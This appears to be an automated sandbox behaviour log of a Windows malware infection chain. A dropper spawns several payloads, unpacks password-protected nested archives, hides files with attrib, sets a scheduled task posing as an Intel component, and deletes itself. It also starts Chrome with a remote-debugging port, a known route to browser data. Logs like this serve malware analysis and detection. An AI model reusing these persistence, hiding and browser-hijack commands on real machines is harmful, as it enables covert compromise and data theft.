Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe "C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 340 -s 652
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,16211811774581553448,15495280197466442356,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe "C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe "C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe "C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe "C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe "C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Process created: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,16211811774581553448,15495280197466442356,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: windows.storage.dll	Jump to behavior
